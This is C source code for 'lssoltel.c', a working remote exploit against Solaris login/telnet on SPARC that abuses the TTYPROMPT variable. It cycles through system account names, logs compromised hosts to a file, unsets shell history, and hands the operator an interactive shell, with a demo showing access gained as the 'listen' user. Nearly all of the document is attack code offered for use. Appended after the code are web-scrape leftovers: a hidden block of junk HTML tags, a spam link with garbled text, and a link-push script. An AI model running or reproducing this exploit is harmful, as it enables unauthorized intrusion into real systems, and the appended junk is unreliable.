/*****************
 * lssoltel.c - Remote Exploit for login/telnet (sparc 6/7/8)
 *
 * Vulnerability was founded by (??)
 *
 * THIS IS PUBLISHED PROPRIETARY SOURCE CODE OF BUFFEROVERFLOW CREW
 *
 * Copyright (C) bufferoverflow.org(com.br), 2002
 * All Rights Reserved
 * by skylazart
 *
 * thz destruct, cync, dm_ & ectos
 *****************/

static char version[] = "$Id: lssoltel.c,v 1.2 2003/03/08 23:39:13 sky Exp $";

/*
 * Demonstration:
 * sky@skylazart:/mines/programacao/exploits$ ./lssoltel sparc
 * lssoltel.c v1.0 - Remote Exploit for login/telnet (sparc 6/7/8)
 * by skylazart/bufferoverflow.org
 * 
 * # Trying root       : failed
 * # Trying listen     : SUCCESS!!
 * ############# gota shell # # #
 *
 * $ SunOS sparc 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
 * uid=37(listen) gid=4(adm)
 * $
 */

/*
 * This exploit is part of LAUDIT Security Audit Scanner (not public yet)
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <signal.h>
#include <sys/ptrace.h>


char *users[] = {
	"root",
	"listen",
	"daemon",
	"bin",
	"sys",
	"adm",
	"lp",
	"uucp",
	"nuucp",
	"nobody",
	"noaccess",
	"nobody4",
	NULL };



void
hlp (const char *name) {
	printf ("%s <telnetd server> [port]\n\n", 
		name);
        exit (EXIT_SUCCESS);		
}

void
err_sys (const char *name, int error) {
	fprintf (stderr, "%s : %s\n", name, strerror (error));
	exit (EXIT_FAILURE);
}

void
err_quit (const char *msg) {
	fprintf (stderr, "%s. exiting...\n", msg);
	exit (EXIT_FAILURE);
}

void
Log (char *h, char *u) {
	FILE *fp;

	fp = fopen ("sol_shells.txt", "a+");
	if (fp) {
		fprintf (fp, "Host: %s Username: %s\n", h, u);
		fclose (fp);
	}
}

int
hasdata (int fd, int timeout) {
	
	struct timeval	tv;
	fd_set		rset;
	
	tv.tv_usec = 0;
	tv.tv_sec = timeout;
	
	FD_ZERO (&rset);
	FD_SET (fd, &rset);
	
	return (select (fd + 1, &rset, NULL, NULL, &tv));
}

size_t
my_write (int sockfd, const void *buffer, size_t n) {

        size_t          nleft;
        size_t          nwritten;
        const char      *ptr;

        ptr = buffer;
        nleft = n;

        while ( nleft > 0 ) {
        again:
                if (( nwritten = write (sockfd, ptr, nleft)) < 0) {
                        if ( errno == EINTR )
                                goto again;
                        else
                                return (-1);
                }

                nleft -= nwritten;
                ptr += nwritten;
        }
        return (n);
}

int
Strstr (char *Ptr, char *needle, int n)
{
	int i;
	for (i = 0; i < n; i++) {
		if (strstr (Ptr+i, needle))
			return (1);
	}
	return (0);
}

void
fsm_telnet (int sockfd, char *buf, size_t size)
{
        int     i;
        char    obuf[4];

        unsigned char *Ptr, y = 0;

        Ptr = buf;
        i = size;

        while ( i > 0 ) {
                if (*Ptr != 255) {
                        Ptr++;
                        i--;
                        continue;
                }
                obuf[0] = 255;
                Ptr++;
                i--;
                if ( ((*Ptr == 251) || (*Ptr == 252)) && Ptr)
                        y = 254;
                if ( ((*Ptr == 253) || (*Ptr == 254)) && Ptr)
                        y = 252;
                if (y) {
                        obuf[1] = y;
                        Ptr++;
                        i--;
                        if (Ptr) {
                                obuf[2] = *Ptr;
                                my_write (sockfd, obuf, 3);
                        }
                        y = 0;
                }
                Ptr++;
                i--;
        }
}


int
Expl (int sockfd, char *user)
{
	char 		buf[4096];
	int 		n;
	struct timeval 	i, 
			f;


	my_write (sockfd, "\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb \xff\xfb!\xff\xfb\x22\xff\xfb'\xff\xfd\x05", 24);
	my_write (sockfd, "\xff\xfa\x1f\x00P\x00\x19\xff\xf0\xff\xfc#\xff\xfc$", 15);
	my_write (sockfd, "\xff\xfa\x18\x00linux\xff\xf0\xff\xfa'\x00\x00TTYPROMPT\x01\x63\x63\x63\x63\x63\xff\xf0", 33);
	my_write (sockfd, "\xff\xfd\x01\xff\xfc\x01", 6);
	my_write (sockfd, user, strlen(user));
	my_write (sockfd, " c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\x0d\x00", 144);
	my_write (sockfd, "unset HISTFILE;uname -a;id\n", 28);

	gettimeofday (&i, NULL);

	do {
		if (hasdata (sockfd, 10)) {
                        n = read (sockfd, buf, sizeof (buf));
                        if (n <= 0)
                                return (0);
                        buf[n] = '\0';
			fsm_telnet (sockfd, buf, n);
                        if (Strstr (buf, "uid=", n))
                                return (1);
		} else
			return (0);

		gettimeofday (&f, NULL);
	} while (f.tv_sec - i.tv_sec < 10); 

	return (0);
}

int
con (char *hostname, int port, int timeout) {

	struct hostent		*he;
	struct sockaddr_in 	sin;
	struct timeval		tv;	
	unsigned long		i;
	int			sockfd;
	socklen_t		len		= sizeof (int);

	int			sc_fg;
	int			n;

	fd_set			wset, rset;
	int			opt 		= 1024;		/* MAXCAPLEN */
	
	int			one		= 1;	
	int			error		= 0;

	
	i = inet_addr (hostname);
	if (i == -1) {
		he = gethostbyname (hostname);
		if (he == NULL) {
			err_sys ("gethostbyname()", h_errno);
			exit (EXIT_FAILURE);
		} else
			i = *(unsigned long *) he->h_addr;
	}

	sockfd = socket (AF_INET, SOCK_STREAM, 0);
	if (sockfd < 0)
		err_sys ("socket ()", errno);

	sin.sin_family = PF_INET;
	sin.sin_port = htons (port);
	sin.sin_addr.s_addr = i;
	bzero (&(sin.sin_zero), 8);
	
	setsockopt (sockfd, SOL_SOCKET, SO_RCVBUF, (char *) &opt, sizeof (int));
	
	ioctl (sockfd, FIONBIO, &one);
	sc_fg = fcntl (sockfd, F_GETFL, 0);		
	fcntl (sockfd, F_SETFL, O_NONBLOCK | O_NDELAY);

	n = connect (sockfd, (struct sockaddr *) &sin, sizeof (sin));
	if (n == 0) { /* connected */
	        n = 0;
        	ioctl (sockfd, FIONBIO, &n);
	        fcntl (sockfd, F_SETFL, sc_fg);

	        return (sockfd);
	}	
	
	if (errno != EINPROGRESS) {
		close (sockfd);
		err_sys ("connect ()", errno);
	}
	
	FD_ZERO (&wset);
	FD_ZERO (&rset);
	FD_SET (sockfd, &wset);
	FD_SET (sockfd, &rset);
	tv.tv_usec = 0;
	tv.tv_sec = timeout;

	n = select (sockfd + 1, &rset, &wset, NULL, &tv);
	if (n == 0) {
		close (sockfd);
		errno = ETIMEDOUT;
		err_sys ("connect ()", errno);
	}

	if (FD_ISSET (sockfd, &rset) ||
		FD_ISSET (sockfd, &wset)) { /* data available */
		
		if (getsockopt (sockfd, SOL_SOCKET, SO_ERROR, &error, &len) 
			< 0) {
			close (sockfd);
			err_sys ("getsockopt ()", errno);
		} 
		if (error == 0) {
	       		n = 0;
        		ioctl (sockfd, FIONBIO, &n);
	       		fcntl (sockfd, F_SETFL, sc_fg);
		        return (sockfd);
		} else {
			close (sockfd);
			errno = ECONNREFUSED;
			err_sys ("connect ()", errno);
		}
	}
	return (sockfd);
}

int
get_shell (int sockfd) {

        fd_set  rfds;
        int     n = 0;
        char    buffer[2048];

        printf ("############# gota shell # # #\n\n");

	my_write (sockfd, "unset HISTFILE;uname -a;id\n", 28);

        FD_ZERO (&rfds);

        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sockfd, &rfds);

                n = select (sockfd + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (sockfd, &rfds)) {
                        n = read (sockfd, buffer, sizeof (buffer));
                        if (n <= 0)
                                break;
                        buffer[n] = '\0';
			fsm_telnet (sockfd, buffer, n);
                        write (1, buffer, n);
                }
                if (FD_ISSET (0, &rfds)) {
                        n = read (0, buffer, sizeof (buffer));
                        if (n <= 0)
                                break;
                        buffer[n] = '\0';
                        write (sockfd, buffer, n);
                }
        }

        printf ("Connection Terminated.\n");
        close (sockfd);
        exit (0);
}


int
main (int argc, char **argv) 
{
	int sockfd, port, i;
	char *target;

	fprintf (stderr, "lssoltel.c - Remote Exploit for login/telnet (sparc 6/7/8)\n");
	fprintf (stderr, "Version %s\n", version);
	fprintf (stderr, "by skylazart/bufferoverflow.org\n\n");	

	if (argc < 2)
		hlp (argv[0]);
	
	signal (SIGPIPE, SIG_IGN);

	target = argv[1];

	if (argc >= 3)
		port = atoi (argv[2]);
	else
		port = 23;

	for (i = 0; users[i] != NULL; i++) {
		sockfd = con (target, port, 40);
		printf ("# Trying %-10s :", users[i]);
		fflush (stdout);

		if (!Expl (sockfd, users[i])) 
			printf (" failed\n");
		else {
			printf (" SUCCESS!!\n");

			Log (target, users[i]);
			get_shell (sockfd);

			exit (EXIT_SUCCESS);
		}
		close (sockfd);
	}

	printf ("\n:(\n");
	return (0);
}
<div style="position:fixed;left:-9000px;top:-9000px;"><em id="7ztzv"></em><center id="7ztzv"></center><mark id="7ztzv"><center id="7ztzv"></center></mark><output id="7ztzv"><noframes id="7ztzv"></noframes></output><font id="7ztzv"><delect id="7ztzv"></delect></font><ruby id="7ztzv"><big id="7ztzv"></big></ruby><progress id="7ztzv"><sub id="7ztzv"></sub></progress><th id="7ztzv"><big id="7ztzv"></big></th><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><video id="7ztzv"></video></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><strike id="7ztzv"><span id="7ztzv"></span></strike><em id="7ztzv"><span id="7ztzv"></span></em><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><noframes id="7ztzv"></noframes></th><em id="7ztzv"><span id="7ztzv"></span></em><ins id="7ztzv"><b id="7ztzv"></b></ins><ol id="7ztzv"><output id="7ztzv"></output></ol><menuitem id="7ztzv"><thead id="7ztzv"></thead></menuitem><del id="7ztzv"><ruby id="7ztzv"></ruby></del><noframes id="7ztzv"><span id="7ztzv"></span></noframes><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><progress id="7ztzv"><thead id="7ztzv"></thead></progress><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><strike id="7ztzv"><pre id="7ztzv"></pre></strike><em id="7ztzv"><address id="7ztzv"></address></em><big id="7ztzv"><address id="7ztzv"></address></big><address id="7ztzv"><listing id="7ztzv"></listing></address><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><big id="7ztzv"><sub id="7ztzv"></sub></big><var id="7ztzv"><meter id="7ztzv"></meter></var><span id="7ztzv"><video id="7ztzv"></video></span><listing id="7ztzv"><mark id="7ztzv"></mark></listing><progress id="7ztzv"><address id="7ztzv"></address></progress><nobr id="7ztzv"><progress id="7ztzv"></progress></nobr><noframes id="7ztzv"><sub id="7ztzv"></sub></noframes><font id="7ztzv"><delect id="7ztzv"></delect></font><strike id="7ztzv"><pre id="7ztzv"></pre></strike><delect id="7ztzv"><menuitem id="7ztzv"></menuitem></delect><em id="7ztzv"><pre id="7ztzv"></pre></em><mark id="7ztzv"><cite id="7ztzv"></cite></mark><delect id="7ztzv"><ins id="7ztzv"></ins></delect><pre id="7ztzv"><rp id="7ztzv"></rp></pre><cite id="7ztzv"><var id="7ztzv"></var></cite><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><ruby id="7ztzv"><p id="7ztzv"></p></ruby><em id="7ztzv"><form id="7ztzv"></form></em><rp id="7ztzv"><em id="7ztzv"></em></rp>
<video id="7ztzv"><noframes id="7ztzv"></noframes></video><cite id="7ztzv"><del id="7ztzv"></del></cite><meter id="7ztzv"><thead id="7ztzv"></thead></meter><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><thead id="7ztzv"></thead></meter><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><mark id="7ztzv"><cite id="7ztzv"></cite></mark><menuitem id="7ztzv"><font id="7ztzv"></font></menuitem><del id="7ztzv"><rp id="7ztzv"></rp></del><thead id="7ztzv"><delect id="7ztzv"></delect></thead><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><ins id="7ztzv"><cite id="7ztzv"></cite></ins><delect id="7ztzv"><output id="7ztzv"></output></delect><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><p id="7ztzv"></p></ruby><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><progress id="7ztzv"><address id="7ztzv"></address></progress><thead id="7ztzv"><var id="7ztzv"></var></thead><ins id="7ztzv"><i id="7ztzv"></i></ins><ins id="7ztzv"><b id="7ztzv"></b></ins><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><ins id="7ztzv"><i id="7ztzv"></i></ins><font id="7ztzv"><delect id="7ztzv"></delect></font><em id="7ztzv"><form id="7ztzv"></form></em><var id="7ztzv"><ins id="7ztzv"></ins></var><span id="7ztzv"><th id="7ztzv"></th></span><ol id="7ztzv"><rp id="7ztzv"></rp></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><address id="7ztzv"><dfn id="7ztzv"></dfn></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><noframes id="7ztzv"><span id="7ztzv"></span></noframes><noframes id="7ztzv"><form id="7ztzv"></form></noframes><big id="7ztzv"><form id="7ztzv"></form></big><track id="7ztzv"><noframes id="7ztzv"></noframes></track><em id="7ztzv"><span id="7ztzv"></span></em><span id="7ztzv"><th id="7ztzv"></th></span><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><em id="7ztzv"></em></video><delect id="7ztzv"><ins id="7ztzv"></ins></delect><b id="7ztzv"><del id="7ztzv"></del></b><progress id="7ztzv"><sub id="7ztzv"></sub></progress><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><rp id="7ztzv"><em id="7ztzv"></em></rp><track id="7ztzv"><noframes id="7ztzv"></noframes></track><address id="7ztzv"><th id="7ztzv"></th></address><cite id="7ztzv"><delect id="7ztzv"></delect></cite><cite id="7ztzv"><var id="7ztzv"></var></cite><output id="7ztzv"><i id="7ztzv"></i></output><track id="7ztzv"><big id="7ztzv"></big></track>
<big id="7ztzv"><address id="7ztzv"></address></big><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><font id="7ztzv"></font></meter><address id="7ztzv"><nobr id="7ztzv"></nobr></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><pre id="7ztzv"><video id="7ztzv"></video></pre><th id="7ztzv"><progress id="7ztzv"></progress></th><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><em id="7ztzv"></em></ruby><del id="7ztzv"><ins id="7ztzv"></ins></del><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><var id="7ztzv"></var></thead><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><b id="7ztzv"><del id="7ztzv"></del></b><big id="7ztzv"><address id="7ztzv"></address></big><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><ins id="7ztzv"></ins></ol><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><listing id="7ztzv"><progress id="7ztzv"></progress></listing><delect id="7ztzv"><output id="7ztzv"></output></delect><noframes id="7ztzv"><span id="7ztzv"></span></noframes><track id="7ztzv"><noframes id="7ztzv"></noframes></track><menuitem id="7ztzv"><sub id="7ztzv"></sub></menuitem><address id="7ztzv"><th id="7ztzv"></th></address><address id="7ztzv"><track id="7ztzv"></track></address><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><em id="7ztzv"><pre id="7ztzv"></pre></em><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><form id="7ztzv"></form></em><form id="7ztzv"><track id="7ztzv"></track></form><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><rp id="7ztzv"><noframes id="7ztzv"></noframes></rp><i id="7ztzv"><ol id="7ztzv"></ol></i><i id="7ztzv"><del id="7ztzv"></del></i><cite id="7ztzv"><delect id="7ztzv"></delect></cite><strike id="7ztzv"><dl id="7ztzv"></dl></strike><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><address id="7ztzv"><th id="7ztzv"></th></address><ins id="7ztzv"><font id="7ztzv"></font></ins><thead id="7ztzv"><var id="7ztzv"></var></thead><video id="7ztzv"><strike id="7ztzv"></strike></video><p id="7ztzv"><pre id="7ztzv"></pre></p><video id="7ztzv"><i id="7ztzv"></i></video><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><listing id="7ztzv"></listing></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><address id="7ztzv"><th id="7ztzv"></th></address><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var>
<p id="7ztzv"><var id="7ztzv"></var></p><ins id="7ztzv"><i id="7ztzv"></i></ins><strike id="7ztzv"><span id="7ztzv"></span></strike><del id="7ztzv"><output id="7ztzv"></output></del><font id="7ztzv"><delect id="7ztzv"></delect></font><output id="7ztzv"><em id="7ztzv"></em></output><p id="7ztzv"><span id="7ztzv"></span></p><big id="7ztzv"><thead id="7ztzv"></thead></big><video id="7ztzv"><noframes id="7ztzv"></noframes></video><b id="7ztzv"><ol id="7ztzv"></ol></b><font id="7ztzv"><dfn id="7ztzv"></dfn></font><font id="7ztzv"><var id="7ztzv"></var></font><ins id="7ztzv"><i id="7ztzv"></i></ins><dfn id="7ztzv"><meter id="7ztzv"></meter></dfn><rp id="7ztzv"><strike id="7ztzv"></strike></rp><del id="7ztzv"><ruby id="7ztzv"></ruby></del><var id="7ztzv"><ruby id="7ztzv"></ruby></var><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><del id="7ztzv"><ruby id="7ztzv"></ruby></del><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><track id="7ztzv"><noframes id="7ztzv"></noframes></track><form id="7ztzv"><nobr id="7ztzv"></nobr></form><video id="7ztzv"><big id="7ztzv"></big></video><video id="7ztzv"><em id="7ztzv"></em></video><p id="7ztzv"><span id="7ztzv"></span></p><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><ins id="7ztzv"><b id="7ztzv"></b></ins><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><var id="7ztzv"><mark id="7ztzv"></mark></var><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><address id="7ztzv"><th id="7ztzv"></th></address><form id="7ztzv"><th id="7ztzv"></th></form><mark id="7ztzv"><cite id="7ztzv"></cite></mark><progress id="7ztzv"><font id="7ztzv"></font></progress><mark id="7ztzv"><cite id="7ztzv"></cite></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><mark id="7ztzv"><font id="7ztzv"></font></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><pre id="7ztzv"><video id="7ztzv"></video></pre><strike id="7ztzv"><dl id="7ztzv"></dl></strike><delect id="7ztzv"><ins id="7ztzv"></ins></delect><dl id="7ztzv"><rp id="7ztzv"></rp></dl><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><p id="7ztzv"><dl id="7ztzv"></dl></p><mark id="7ztzv"><i id="7ztzv"></i></mark><meter id="7ztzv"><sub id="7ztzv"></sub></meter><rp id="7ztzv"><em id="7ztzv"></em></rp><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead>
<th id="7ztzv"><big id="7ztzv"></big></th><del id="7ztzv"><rp id="7ztzv"></rp></del><video id="7ztzv"><big id="7ztzv"></big></video><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><big id="7ztzv"><sub id="7ztzv"></sub></big><track id="7ztzv"><em id="7ztzv"></em></track><cite id="7ztzv"><ol id="7ztzv"></ol></cite><i id="7ztzv"><dl id="7ztzv"></dl></i><noframes id="7ztzv"><address id="7ztzv"></address></noframes><ruby id="7ztzv"><i id="7ztzv"></i></ruby><delect id="7ztzv"><output id="7ztzv"></output></delect><delect id="7ztzv"><output id="7ztzv"></output></delect><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><ol id="7ztzv"><ruby id="7ztzv"></ruby></ol><delect id="7ztzv"><output id="7ztzv"></output></delect><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><track id="7ztzv"><big id="7ztzv"></big></track><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><b id="7ztzv"></b></mark><i id="7ztzv"><ol id="7ztzv"></ol></i><progress id="7ztzv"><sub id="7ztzv"></sub></progress><rp id="7ztzv"><strike id="7ztzv"></strike></rp><font id="7ztzv"><var id="7ztzv"></var></font><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><em id="7ztzv"></em></th><delect id="7ztzv"><ins id="7ztzv"></ins></delect><sub id="7ztzv"><delect id="7ztzv"></delect></sub><progress id="7ztzv"><sub id="7ztzv"></sub></progress><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><listing id="7ztzv"></listing></thead><form id="7ztzv"><th id="7ztzv"></th></form><track id="7ztzv"><em id="7ztzv"></em></track><dfn id="7ztzv"><menuitem id="7ztzv"></menuitem></dfn><b id="7ztzv"><dl id="7ztzv"></dl></b><nobr id="7ztzv"><big id="7ztzv"></big></nobr><track id="7ztzv"><progress id="7ztzv"></progress></track><ruby id="7ztzv"><p id="7ztzv"></p></ruby><pre id="7ztzv"><nobr id="7ztzv"></nobr></pre><pre id="7ztzv"><track id="7ztzv"></track></pre><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><i id="7ztzv"></i></mark><rp id="7ztzv"><p id="7ztzv"></p></rp><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><sub id="7ztzv"><dfn id="7ztzv"></dfn></sub><thead id="7ztzv"><var id="7ztzv"></var></thead><i id="7ztzv"><ol id="7ztzv"></ol></i><track id="7ztzv"><strike id="7ztzv"></strike></track></div>

<a href="http://www.bjnorthway.com/">ÑÇÖÞÅ·ÃÀÔÚÏß</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>